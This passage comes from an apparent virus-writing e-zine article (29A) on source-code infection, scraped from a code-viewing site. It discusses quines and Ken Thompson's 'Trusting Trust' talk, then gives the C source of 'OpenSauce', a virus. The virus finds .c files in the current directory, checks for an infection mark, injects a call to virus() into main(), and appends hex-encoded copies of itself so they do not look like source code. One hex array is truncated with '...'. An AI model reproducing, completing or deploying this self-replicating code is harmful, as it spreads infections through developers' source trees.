?? 29a-7.017
字號:
Pros:
* We don't need to think too much, there is everything done, we have
to join the pieces ;-)
* We are still programming in assembler, controlling each detail.
Contras:
* It is not "discreet" indeed.
* Being assembler, we lose the inherent multiplatform feature of most
of the source code.
* The disassembly process can sometimes be too troublesome.
4.3.- "Quine" approach
A "quine" is a program that generates its own source code *without*
reading its own code. It have been done international programming
championships of these peculiar proggies, all of them in a extreme
-freak atmosphere.
There are several ways to do quines, some very complicated and very
elegant others, but the most functional form, in my humble opinion, is
using arrays of chars. In fact, I remained very surprised after doing
my first quine, because when I saw the rest were many very different,
but the one that made Ken Thompson was practically identical, although
a little less complicated: the main idea is to have the source code in
an array of chars to be able to do the following thing:
printf("char array[] = \"%s\";" array);
With that approach we break the vicious circle that propose quines
when you want to print out your own code (doing
printf("printf(\"printf(\"... does not seem to be a good approach;-D).
A time later I discovered an authentic jewel of computer science [11]
when I saw the problem that proposed Thompson in its famous talk
"Reflections on Trusting Trust" when he won the ACM Award. Is amazing
to understand the implications of that text, and is surprising to see
an authentic guru like Ken Thompson speaking like a malware coder };-)
At the moment, the issue explained does not have a very clear solution
and seems to be a headache without a simple solution [12].
Well, if we focus in this main point, we can see how is necessary an
array of chars that contains the code of the program. It is here where
the greater differences can arise. Thompson created its array one by
one separating chars of the following form:
char s[] = {
'\t',
'0',
'\n',
'}',
';',
'\n',
'\n',
'm',
'a',
'i',
'n',
'(',
')',
'\n',
...
0 };
In my initial approach I saw that this, in adition of being quite
strange, was too obvious, that is, is shown clearly that the content
of that array is source code written in C. Because of that, I used
another annotation to keep each char in a non so obvious way:
char s[] = {
0x6D, 0x61, 0x69, 0x6E, 0x28, 0x29, 0x20, 0x7B,
0x0D, 0x0A, 0x69, 0x6E, 0x74, 0x20, 0x69, 0x3B,
0x0D, 0x0A, 0x09, 0x70, 0x72, 0x69, 0x6E, 0x74,
0x66, 0x28, 0x22, 0x63, 0x68, 0x61, 0x72, 0x20,
...
0 };
The immediate goal was fulfilled: that does not seem C source code to
eyes of somebody little familiarized with ASCII table. Nevertheless,
this way to define the array increased too much the size of the code,
it was necessary to think a way to reduce it. First which I thought to
do that was to duplicate the space in the executable code, but to
reduce to half the space in the source code, creating an array as this
one:
char s[] = "6D61696E2829207B0D0A69...";
Doing it this way I am using much less space in C source code. The bad
news are that now I use 2 bytes to represent each to char within my
array (damn!!). We cannot use printf() to print that array in the host
code, we must do something similar to this:
int i;
char nibblechar, nibble[2];
for(i=0;i<strlen(s);i+=2) {
nibble[0] = s[i];
nibble[1] = s[i+1];
sscanf(nibble,"%02X",&nibblechar);
printf("%c", nibblechar);
}
Quite slapdash, but it works O:-)
Another thing which we must consider is that our objective is no
longer to print our own code, but to insert it within a program in C
and to create programs that can be compiled correctly. For that
reason, in the following example I have divided the initial array in
other three arrays: one for the includes and declaration of the
virus() function, another one for the first part of this function and
the other for the end of the virus(). Let's see it:
<--------------------------------------------------------------------------->
<-opensauce.c--------------------------------------------------------------->
<--------------------------------------------------------------------------->
/*
* OpenSauce
*
* A trial to infect source code
* zert <zert@int80h.net>
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <dirent.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/wait.h>
void virus();
int main(int argc, char *argv[]) {
virus();
}
void virus() {
int i, hd, fd, readbyte, writebyte, posmain, posbuffer;
DIR *dd;
struct dirent *dirp;
char nibble[2], nibblechar, *readbuffer, *writebuffer,
*readmain, *writemain, *bufname, *buffer;
char charinclude[] = "23696e636c756465203c737464696f2e683e0a23696e636c756465203c7374646c69622e683e0a23696e636c756465203c7379732f737461742e683e0a23696e636c756465203c756e697374642e683e0a23696e636c756465203c66636e746c2e683e0a23696e636c756465203c74696d652e683e0a23696e636c756465203c646972656e742e683e0a23696e636c756465203c656c662e683e0a23696e636c756465203c7379732f74797065732e683e0a23696e636c756465203c7379732f776169742e683e0a0a766f696420766972757328293b0a0a";
char charvirus[] = "0a766f69642076697275732829207b0a2020696e7420692c2068642c2066642c2072656164627974652c207772697465627974652c20706f736d61696e2c20706f736275666665723b0a2020444952202a64643b0a202073747275637420646972656e74202a646972703b0a202063686172206e6962626c655b325d2c206e6962626c65636861722c202a726561646275666665722c202a77726974656275666665722c200a202020202020202a726561646d61696e2c202a77726974656d61696e2c202a6275666e616d652c202a6275666665723b0a";
char charvirusend[] = "0a20206464203d206f70656e64697228222e22293b0a20207768696c65282864697270203d207265616464697228646429293e3029200a202020206966282868643d6f70656e28646972702d3e645f6e616d652c204f5f524457522c203029293e3d3029207b0a ... ";
/* scan for hosts in current dir */
dd = opendir(".");
while((dirp = readdir(dd))>0)
if((fd=open(dirp->d_name, O_RDWR, 0))>=0) {
/* is a C source file? */
if(!(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".c"))||
!(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".C"))) {
/* searching infection mark... */
lseek(fd, -30, SEEK_END);
bufname = (char *)malloc(30);
readbyte = read(fd, bufname,30);
if((strstr(bufname, "/* sauce! */")<=0)) {
/* infection mark not found */
/* searching main() function... */
lseek(fd, 0, SEEK_SET);
posmain = posbuffer = 0;
buffer = (char *)malloc(1024);
while((readbyte=read(fd,buffer,1024))>0) {
if( ((posbuffer=(int)strstr(buffer,"\nmain("))>0) ||
((posbuffer=(int)strstr(buffer,"\nint main("))>0) ||
((posbuffer=(int)strstr(buffer,"\nvoid main("))>0) ||
((posbuffer=(int)strstr(buffer,"\nmain ("))>0) ||
((posbuffer=(int)strstr(buffer,"\nint main ("))>0) ||
((posbuffer=(int)strstr(buffer,"\nvoid main ("))>0) ) {
break;
}
posmain += readbyte;
}
if(posbuffer>0) {
posmain += ((int)posbuffer-(int)buffer);
lseek(fd, posmain, SEEK_SET);
read(fd, buffer, 80);
if((posbuffer = (int)strstr(buffer,"{\n"))>0)
posmain += 2 + ((int)posbuffer-(int)buffer);
else
posmain = -1;
} else posmain = -1;
if(posmain>0) {
/* let's infect! */
lseek(fd, 0, SEEK_SET);
writebyte = strlen(charinclude) / 2;
readbuffer = (char *)malloc(writebyte);
writebuffer = (char *)malloc(writebyte);
writebuffer = (char *)malloc(writebyte);
for(i=0;i<strlen(charinclude);i+=2) {
nibble[0] = charinclude[i];
nibble[1] = charinclude[i+1];
sscanf(nibble, "%02X", &nibblechar);
strncat(writebuffer, &nibblechar, 1);
}
while((readbyte=read(fd,readbuffer,writebyte))>0) {
lseek(fd, -readbyte, SEEK_CUR);
write(fd, writebuffer, writebyte);
writebyte = read(fd, writebuffer, writebyte);
lseek(fd, -writebyte, SEEK_CUR);
write(fd, readbuffer, readbyte);
}
lseek(fd,-readbyte,SEEK_CUR);
write(fd,writebuffer,writebyte);
/* call virus from main() */
writebyte = strlen(charinclude) / 2;
lseek(fd, posmain+writebyte, SEEK_SET);
writebyte = strlen("\n virus();\n");
readmain = (char *)malloc(writebyte);
writemain = (char *)malloc(writebyte);
strcpy(writemain,"\n virus();\n");
while((readbyte=read(fd,readmain,writebyte))>0) {
lseek(fd,-readbyte,SEEK_CUR);
write(fd,writemain,writebyte);
writebyte=read(fd,writemain,writebyte);
lseek(fd,-writebyte,SEEK_CUR);
write(fd,readmain,readbyte);
}
lseek(fd,-readbyte,SEEK_CUR);
write(fd,writemain,writebyte);
/* copy virus function at EOF */
lseek(fd, 0, SEEK_END);
for(i=0;i<strlen(charvirus);i+=2) {
nibble[0] = charvirus[i];
nibble[1] = charvirus[i+1];
sscanf(nibble,"%02X",&nibblechar);
write(fd, &nibblechar, 1);
}
write(fd, "\n char charinclude[] = \"", strlen("\n char charinclude[] = \""));
write(fd, charinclude, strlen(charinclude));
write(fd, "\";\n char charvirus[] = \"", strlen("\";\n char charvirus[] = \""));
write(fd, charvirus, strlen(charvirus));
write(fd, "\";\n char charvirusend[] = \"", strlen("\";\n char charvirusend[] = \""));
write(fd, charvirusend, strlen(charvirusend));
write(fd, "\";\n", strlen("\";\n"));
lseek(fd, 0, SEEK_END);
for(i=0;i<strlen(charvirusend);i+=2) {
nibble[0] = charvirusend[i];
nibble[1] = charvirusend[i+1];
sscanf(nibble,"%02X",&nibblechar);
write(fd, &nibblechar, 1);
}
/* that's all folks! */
/* just 1 infection each time */
exit(0);
close(fd);
}
}
}
close(fd);
}
closedir(dd);
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -